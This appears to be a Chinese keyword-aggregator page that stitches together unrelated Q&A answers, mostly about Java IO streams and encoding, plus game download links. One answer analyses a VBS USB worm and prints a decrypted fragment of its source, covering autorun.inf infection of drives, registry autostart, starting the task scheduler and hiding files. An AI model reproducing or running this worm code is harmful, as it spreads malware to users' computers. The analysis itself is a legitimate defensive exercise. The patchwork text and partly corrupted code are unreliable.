当前位置:首页 » 操作系统 » osw源码

osw源码

发布时间: 2022-07-29 05:09:48

1. 在android2.3上初始化FIleOutputStream时报FilenotFoundException。。在2.2上运行正常

你的文件路径问题,你的文件时在电脑上?,没跟着apk,打包安装后,文件就找不到了,是这个原因否?

2. 我去打印房打印,u盘上中了这个.vbs的病毒,用记事本打开全是乱码,求解密之后的源代码````

你好
这个是vbs脚本病毒,看上去是乱码,一点也看不懂,其实还是有迹可循的。其思路就是寻 找"execute"关键词。病毒最终,还是要换成机器可以看懂的内容,也就是说,最后一层的execute里面的内容,就是病毒的源代码。按照这个思路,那么可以知道,解密方法也一定就在这个execute里面。
也就是说:无需明白他是如何加密的,只需要知道,execute出来的是什么。

按照这个思路,可以得到程序的最后一次迭代加密过程前的代码,也就是第一次迭代解密的代码,看上去还是乱码,不过还是同样的道理,总可以找到execute这个关键词。病毒可能经过多次迭代,不过最终还是可以看懂的。

需要注意的是,execute后面的内容解密出来如果真的用execute执行了,那就中招了,所以这里要注意不能把execute也放进去一起执行。

以下是我的解密最终代码片断

这个程序作者比较BT,手工加密了很多地方,还手工打乱了代码,严重妨碍了程序可读性。

分析完代码其大致功能是
1。开机自启动
2。U盘的感染
3。破坏系统隐藏功能

on error resume next
j="\":til="SY":btj=900:vs=".vbs":ve=".vbe":cm="%comspec% /c":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell"):set fso=createobject("scripting.filesystemobject")
set wmi=getobject("winmgmts:\\.\root\cimv2"):set sis=wmi.execquery("select * fromwin32_operatingsystem")
set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schele'")
for each atc in ats:cat=atc.state:next:if cat="Stopped" then ws.run "net start ""task scheler""",0,false
ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len (wscript.scriptname))
cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr:cna=rr (cnp,0):if cna="" then cna=til
wsc="wscript.exe":csc="cscript.exe":css=csc&" //nologo ":wsr=rn&":createobject (""wscript.shell"").run"
c=vbcrlf:inc=til&c&"[autorun]"&c&"open="&wsc&" .\"&vs&c&"shell\open\command="&wsc&" .\"&vs&c&"shell\open\default=1"
sf="shell folders\":rop="\software\microsoft\windows\currentversion\explorer\":dap=rr ("HKCU"&rop&sf&"desktop",0)&j
rpa="HKLM\software\"&cna&j:fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr ("HKCU"&rop&sf&"favorites",0)&j
ht=ec("ivwt?56"):ha=ec(":;9:7>5kw9"):hb=hl&"1;<<=6x"&hl&"r;":hc="0dwuEpE":hd=ec
("$"+hc):he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\":rsb=rsp&"run\":rsp=rsp&"policies\explorer\run\"&cna
hip="HKCU"&rop&"advanced\showsuperhidden":sz=lcase(fso.getfilename(wscript.fullname)):if mir=dir then sys=true
for each si in
sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
if instr(wv,"5.2")<>0 then hb="w"+hb:lb="v" else if os<>2052 and cc<>86 then
hb="p"+hb:lb="o" else hb="d"+hb:lb="c"
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false:bir=true
next
if bir or sys or mir=win or mir=wbe then tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver="" or not isnumeric(ver) then msgbox("See You!"):km 1
else km 0
if sys then
if sz=wsc then pr csc,-1
if pr(csc,2)=1 then wscript.quit
wscript.sleep 2000
if pr(csc,1)=0 then ws.run css&dir&ve,0,false:if pr(csc,1)=1 then wscript.quit
if rr("til",1)<>til then wr "til",til:wr "tjs",btj:wr "djs",date-1:wr "ded",0
djs=rr("djs",1):if isdate(djs) and date-cdate(djs)>50 and lb<>"o" then wr "osw",4
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
cu:er 10
else
wscript.sleep 5000
if pr(wsc,2)=2 then:if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
if pr(csc,1)<>1 or pr(wsc,1)=0 then bf dir&ve,ouc,7:ws.run css&dir&ve,0,false
end if
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next

由于VBS与JS一样是解释型语言,代码自上而下,一行一行地运行。所以解这类代码的一个技巧是:

我们寻找解密入口点时,应该优先考虑最后一个execute。作者大量使用逻辑拼接。。。属于很BT的加密。。。汗水...

3. System.out.write和System.out.println

System.out的类型为PrintStream;
System.out.println('a'); 实际上调用是PrintStream的println(char c)方法;而println(char c)方法的源代码为:

public void println(String x) {
synchronized (this) {
print(x);
newLine();
}
}

可见Println调用了print(char c)方法,print(char c)方法的源代码如下:

public void print(char c) {
write(String.valueOf(c));
}

可见调用的是write(String s)方法,write(String s)的代码为:
private void write(String s) {
try {
synchronized (this) {
ensureOpen();
textOut.write(s);
textOut.flushBuffer();
charOut.flushBuffer();
if (autoFlush && (s.indexOf('\n') >= 0))
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}

当字符串中含有'\n'时会刷新out,此处的out是OutStream对象的实例。println(String s)最后调用newLine() 方法,newLine()的代码如下:

private void newLine() {
try {
synchronized (this) {
ensureOpen();
textOut.newLine();
textOut.flushBuffer();
charOut.flushBuffer();
if (autoFlush)
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}
newLine()会刷新out。

System.out.write(a); 调用的是PrintStream.write(int b)方法
write(int b) 的源代码如下:
public void write(int b) {
try {
synchronized (this) {
ensureOpen();
out.write(b);
if ((b == '\n') && autoFlush)
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}

看过源代码后应该明白两者之间的差异了,println(String s)不但会刷新out,而且还会同时刷新textOut和charOut,而write(int b)只有当b == '\n'时才刷新out。这也是为什么加了System.out.write('\n'); 后就能显示出来了,问题就在于out没有刷新。

楼主的第二个问题很好解释,因为在print(String s)中,会刷新textOut和charOut。
textOut和charOut是什么?看一下PrintStream中的定义:
private BufferedWriter textOut;
private OutputStreamWriter charOut;

textOut和charOut在init(OutputStreamWriter osw)方法中初始化,init(OutputStreamWriter osw)的代码如下:
private void init(OutputStreamWriter osw) {
this.charOut = osw;
this.textOut = new BufferedWriter(osw);
}
init()函数在构造函数中被调用
public PrintStream(OutputStream out, boolean autoFlush) {
this(autoFlush, out);
init(new OutputStreamWriter(this));
}
可见,textOut和charOut操作的输出流和out是一样的,因此对textOut和charOut刷新同时刷新了out,因此print(String s)即便没有'\n',也同样会直接输出出来。

4. java 记事本的系统分析怎么写

FileWriter osw=new FileWriter(fns);
osw.write(text1.getText());//主要是这里 保存之后的东西不会换行。。。个人感觉是 java和xp对于换行字符的要求不一样 ,请问这里如何实现换行
osw.write("\n"); //添加这一行试试,如果不行,将\n改成\r\n
osw.close();
请参考

5. Java中的io流关闭问题

如下例子代码:
FileInputStream is = new FileInputStream(".");
BufferedInputStream bis = new BufferedInputStream(is);
bis.close();

从设计模式上看:
java.io.BufferedInputStream是java.io.InputStream的装饰类。
BufferedInputStream装饰一个 InputStream 使之具有缓冲功能,is要关闭只需要调用最终被装饰出的对象的 close()方法即可,因为它最终会调用真正数据源对象的 close()方法。

BufferedInputStream的close方法中对InputStream进行了关闭,下面是jdk中附带的源代码:
java.io.BufferedInputStream的api:
close
public void close()throws IOException 关闭此输入流并释放与该流关联的所有系统资源。

因此,可以只调用外层流的close方法关闭其装饰的内层流,验证例子:

public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("d:\\a.txt");
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
BufferedWriter bw = new BufferedWriter(osw);
bw.write("java IO close test");

bw.close();

}

验证ok

6. 谁知道金庸群侠传原版的下载地址和修改器啊

金庸群侠传1下载集合:

金庸群侠传1下载怀旧版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2010000&ps=0_0&rt=0kbs&plt=0

金庸群侠传1下载-完美硬盘版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2004000&ps=0_0&rt=0kbs&plt=0

梦幻金庸群侠传1下载正式版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2002000&ps=0_0&rt=0kbs&plt=0

RPG金庸群侠传1下载
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2002000&ps=0_0&rt=0kbs&plt=0

金庸群侠传1下载之苍龙逐日1.2修改器
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2002000&ps=0_0&rt=0kbs&plt=0

金庸群侠传1下载之武林浩荡1.7简体中文版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2002000&ps=0_0&rt=0kbs&plt=0

金庸群侠传1下载—笑梦游记 v1.11
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=2002000&ps=0_0&rt=0kbs&plt=0

RPG经典单机游戏金庸群侠传1下载
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群侠传1下载&dt=1002012&ps=0_0&rt=0kbs&plt=0

金庸群侠传1相关介绍:

中文名称:《金庸群侠传》
开发厂商:河洛工作室(后改名为东方演算)
发行厂商:智冠电子
游戏平台:PC单机游戏
游戏类型:角色扮演游戏
发行日期:1996年
这是河洛工作室“群侠”系列三部曲的的第一部。第二部为为武林群侠传,第三部为三国群侠传。金庸群侠传于1996年发行,是由河洛工作室开发(后来改名为东方演算)、智冠科技发行的中文角色扮演游戏,在当时是一款相当受欢迎的游戏。要注意的是,日后开发的金庸群侠传Online一度是受欢迎的网络角色扮演游戏,但游戏不是由河洛工作室开发。
游戏简介
无论是在中国,或是在东南亚,西欧,北美等地,凡是有中国人的地方,都知道金庸这个名字。无数金庸迷热烈的拥戴他们所爱的小说人物,跟这些小说人物走遍大江南北,并随他们的命运落泪叹息。还有一些专家学者或着名小说家对“金学”做很透彻的研究并发出很独特精辟的见解。
不管您是哪一个阶层的人只要看过金庸的小说,都会对金庸小说中各色的人物及当时武林社会的各种状况产生五味杂陈的感觉,或喜爱,或厌倦,或者乐不可支,大家心中一致认为:金庸的小说的确好看,而且值得一看再看。以这样的后辈姿态来看金庸小说,除了敬畏,还是敬畏······
这是一款由智冠公司河洛工作室1996年推出的角色扮演类游戏。此游戏把金庸先生“飞雪连天射白鹿,笑书神侠倚碧鸳”等14部小说中一些脍炙人口的片段,如六大门派围攻光明顶,冰火岛,英雄大会等融合在一起,改编而成,具有14个支线任务。玩家可自由选择游戏路线,其间基本上没有因果关系,只不过其中有一些任务相对比较难,因此需先完成别的任务才成。游戏的剧情是开放的,游戏地图也是开放的。在游戏中玩家可邀5位非主角控制的人物(NPC),参加队伍,而且游戏中如果行善做好事多,则玩家的品德属性值高,这样一些人物才愿意与你为伍。反之,如果杀戮过重,最后过关时将遇到正派大侠们连手攻击,就较难回到现实世界里来了······

游泳的鱼Windows版:2005年9月7日游泳的鱼利用VB和DirectX编写出了第一个游戏的Windows版本。这在当时是一个里程碑式的成果。这个版本的最终版本号为0.4。仍然含有一些bug,并且在某些时候执行效率较低,而且基本不能支持原版之外的MOD。
tianuawindosws版:《金庸群侠传》最完美的原版移植版,此移植版本除了音乐错乱和速度过快之外,基本没有恶性bug,并添加了几个新的功能。但是由于作者并没有针对原版之外的版本作任何优化,也未提供移植版的源码,因此他的移植版对MOD制作技术的研究并无贡献。
复刻版
金庸群侠传Windows版:08年weyl使用Pascal语言编写,SDL作为游戏的基本引擎重制了基于Windows平台下《金庸群侠传移植版》,又称为复刻版,虽然这不是第一个Windows平台下的金庸群侠传,但是由于此版引擎可正确支持大部分流行MOD,并可供玩家修改制作基于Windows平台下的新的MOD,甚至可以通过修改复刻版附带发布的源代码进行游戏引擎的修改,所以这是MOD发展史上的一个里程碑。最近,慕容玄恭发布在《苍龙逐日复刻版》的基础上开发出新MOD《金书群芳谱》,值得一提的是,这应该是第一个采用复刻版引擎制作的MOD。
不知道你要那个原版的,这里全有。祝你玩得愉快。

7. java文件怎么打开

楼主是否要源代码? 我这有
import java.io.*;
public class FileTest {

public static void main(String[] args)
throws Exception
{
FileOutputStream fos=new FileOutputStream("文件名"); //将文件包装成输入或输出设备 文件名这个地方是你要保存的 那个文件的路径 直接写文件名就是说在当前目录下 注意文件名不要写后缀
OutputStreamWriter osw=new OutputStreamWriter(fos); //字节流和字符流的转换
BufferedWriter bw=new BufferedWriter(osw); //对字符流进行包装,提高传输效率
bw.write("这里是你要写的东西");
bw.flush();
bw.close();
osw.close();
fos.close();
}

}
把这个复制到一个后缀为.JAVA的文件中 重命名为FileTest.java 然后打开控制台 javac FileTest.java 编译没问题 java FileTest 就可以运行了 有什么问题找我

8. 急,怎么批量从网站得到查询结果呢

你如果会用JAVA的话,执行下面的程序,就可以从Baii批量得到查询结果,
用法:
C:/urltest_files/test_inFile.txt的文件中写入 要查询 的关键字,每行一个,(当然也可以从DB中读取 关键字,改一下代码就可以了)
他就会把查询结果一HTML形式保存到C:/urltest_files/文件中。
因为每个网站都不一样,不知道他是不是适用于你的网站。

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Scanner;

public class Test {
public static void main(String[] args) {
try {
String baseUrl = "http://www..com/s?wd=";
String dir = "C:/urltest_files/";
File inFile = new File(dir + "test_inFile.txt");
File outFile = new File(dir + "test_outFile.txt");
if (!inFile.exists()) {
return;
}
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(outFile), "GB2312");
Scanner scan = new Scanner(inFile);
int cnt = 0;
while (scan.hasNextLine()) {
cnt++;
String line = scan.nextLine();
try {
URL url = new URL(baseUrl + URLEncoder.encode(line, "GB2312"));
System.out.println(url);
String htmlFile = dir + "result_" + cnt + ".html";
osw.write("KEY: \t" + line + "\r\n");
osw.write("FILE: \t" + htmlFile + "\r\n\r\n");
OutputStreamWriter htmlOut = new OutputStreamWriter(new FileOutputStream(htmlFile), "GB2312");
InputStream ins = url.openStream();
Scanner htmlScan = new Scanner(ins, "GB2312");
while (htmlScan.hasNextLine()) {
htmlOut.write(htmlScan.nextLine() + "\r\n");
}
htmlScan.close();
htmlOut.close();
} catch (Exception e) {
e.printStackTrace();
}
}
scan.close();
osw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

9. 读写文件的基本流有哪些

一、IO流的三种分类方式

1.按流的方向分为:输入流和输出流

2.按流的数据单位不同分为:字节流和字符流

3.按流的功能不同分为:节点流和处理流

二、IO流的四大抽象类:

字符流:Reader Writer

字节流:InputStream(读数据)

OutputStream(写数据)

三、InputStream的基本方法

int read() throws IOException 读取一个字节以整数形式返回,如果返回-1已到输入流的末尾

void close() throws IOException 关闭流释放内存资源

long skip(long n) throws IOException 跳过n个字节不读

四、OutputStream的基本方法

void write(int b) throws IOException 向输出流写入一个字节数据

void flush() throws IOException 将输出流中缓冲的数据全部写出到目的地

五、Writer的基本方法

void write(int c) throws IOException 向输出流写入一个字符数据

void write(String str) throws IOException将一个字符串中的字符写入到输出流

void write(String str,int offset,int length)

将一个字符串从offset开始的length个字符写入到输出流

void flush() throws IOException

将输出流中缓冲的数据全部写出到目的地

六、Reader的基本方法

int read() throws IOException 读取一个字符以整数形式返回,如果返回-1已到输入流的末尾

七、节点流类型

八、访问文件之FileInputStream和FileOutputStream继承基类用于向文件中输入输出字节

九、访问文件之FileReader和FileWriter继承基类用于向文件中输入输出字符

----输出流在构造函数第二个参数可以设置true意义为跟在已有文件后进行输入
----此类流会抛出FileNotFoundException需要对其进行显示捕捉
十、缓冲流:缓冲流要套接在相应的节点流之上,提高了读写的效率。

此处理流的构造方法都得传相对应的基类类型

BufferedReader:提供了readLine方法用于高校读取一行字符串

BufferedWriter:提供了newLine用于写入一个行分隔符也就是换行

BufferedInputStream 没多大用处

BufferedOutputStream 没多大用处

十一、转换流:主要作用将字节流转换成字符流。用处较大!

转换流在构造时可以指定其编码集合

InputStreamReader需要和InputStream套接

OutputStreamWriter需要和OutputStream套接

例:OutputStreamWriter osw = new OutputStreamWriter (new FileOutputStream(文件路径);

方法例:osw.getEncoding(); 获得流的编码方式

十二、数据流与字节数组流:

数据流主要为实现可以存取Java原始数据类型如long,boolean

数据流是字节流

DataInputStream需要和InputStream套接

DataOutputStream需要和OutputStream套接

DataInputStream方法:readBoolean() readInt() read……()……

readUTF():网络传输常用方法 读一个Unicode字符串

DataOutputStream方法与DataInputStream基本对应为写的方法

//此构造函数等于已可以往一个字节数组里输入内容

ByteArrayOutputStream baos = new ByteArrayOutputStream ();

//此方法为获取一个字节数组方法返回字节数组

baos.toByteArray();

//此方法获取字节数组占了多少字节

new ByteArrayInputStream(一个字节数组)。available()

1ByteArrayOutputStream baos =
2 new ByteArrayOutputStream();
3 DataOutputStream dos =
4 new DataOutputStream(baos);
5 try {
6 dos.writeDouble(Math.random());
7 dos.writeBoolean(true);
8 ByteArrayInputStream s =
9 new ByteArrayInputStream(baos.toByteArray());
10 System.out.println(s.available());
11 DataInputStream dis = new DataInputStream(s);
12 System.out.println(dis.readDouble());
13 System.out.println(dis.readBoolean());
14 dos.close(); dis.close();
15 } catch (IOException e) {
16 e.printStackTrace();
17 }

十二、Print流

Print流只有输出流无输入流,PrintWriter和PrintStream分别针对字符字节

两个类提供了重载的Print和Println方法用于多种数据类型的输出

PrintWriter和PrintStream的输出操作不会抛出异常

PrintWriter和PrintStream有自动flush功能

----System.setOut(接收OutputStream类):用于设置系统默认输出流

十二、Object流

等同于c#序列化,用直接将Object写入或读出

transient关键字为不序列化此成员变量

需要序列化的类必须实现Serializable接口

主要方法:writeObject(Object); readObject();

读出为Object类型需要强转数据类型

1 import java.io.*;
2
3 public class TestObjectIO {
4 public static void main(String args[]) throws Exception {
5 T t = new T();
6 t.k = 8;
7 FileOutputStream fos = new FileOutputStream("d:/share/java/io/testobjectio.dat");
8 ObjectOutputStream oos = new ObjectOutputStream(fos);
9 oos.writeObject(t);
10 oos.flush();
11 oos.close();
12
13 FileInputStream fis = new FileInputStream("d:/share/java/io/testobjectio.dat");
14 ObjectInputStream ois = new ObjectInputStream(fis);
15 T tReaded = (T)ois.readObject();
16 System.out.println(tReaded.i + " " + tReaded.j + " " + tReaded.d + " " + tReaded.k);
17
18 }
19 }
20
21 class T
22 implements Serializable
23 {
24 int i = 10;
25 int j = 9;
26 double d = 2.3;
27 transient int k = 15;
28 }

10. java 将编码格式为utf-8的文件内容以 GBK编码存到txt文档

默认Java转换GBK格式的可以通过提供的转换类来实现,示例如下:

如果直接把Java源代码复制到Eclipse中所有的中文信息都出现乱码。将文本文件的编码格式从GBK转UTF-8的方式有很多,
比较早以前我处理方式都是自己写程序,从文本文件中用GBK编码读取数据,转为String类型,然后通过UTF-8编码重新写入文本文件实现转码,现在经常使用ApacheCommon组件,用commons-io.jar实现文件的
读取和写入,代码如下:
//GBK编码格式源码路径
StringsrcDirPath="D:\dev\workspace\masdev\mas\src";
//转为UTF-8编码格式源码路径
Stringutf8DirPath="D:\UTF8\src";

//获取所有java文件
CollectionjavaGbkFileCol=FileUtils.listFiles(newFile(srcDirPath),newString[]{"java"},true);

for(FilejavaGbkFile:javaGbkFileCol){
//UTF8格式文件路径
Stringutf8FilePath=utf8DirPath+javaGbkFile.getAbsolutePath().substring(srcDirPath.length());
//使用GBK读取数据,然后用UTF-8写入数据
FileUtils.writeLines(newFile(utf8FilePath),"UTF-8",FileUtils.readLines(javaGbkFile,"GBK"));
}
热点内容
androidgif控件 发布:2025-03-15 22:10:51 浏览:336
我的世界手机版非常好玩的服务器推荐 发布:2025-03-15 22:04:48 浏览:177
怎样解压手机文件 发布:2025-03-15 22:04:47 浏览:524
我的世界手机基岩版怎么做服务器 发布:2025-03-15 22:04:11 浏览:99
邮件发送压缩文件 发布:2025-03-15 22:04:06 浏览:818
数据库中的数据特征 发布:2025-03-15 21:56:20 浏览:28
账号密码可以用什么替换 发布:2025-03-15 21:55:43 浏览:698
主板自带什么配置好 发布:2025-03-15 21:49:57 浏览:698
交换空间linux 发布:2025-03-15 21:49:57 浏览:84
剪映怎么添加安卓手机里面的录音 发布:2025-03-15 21:45:01 浏览:696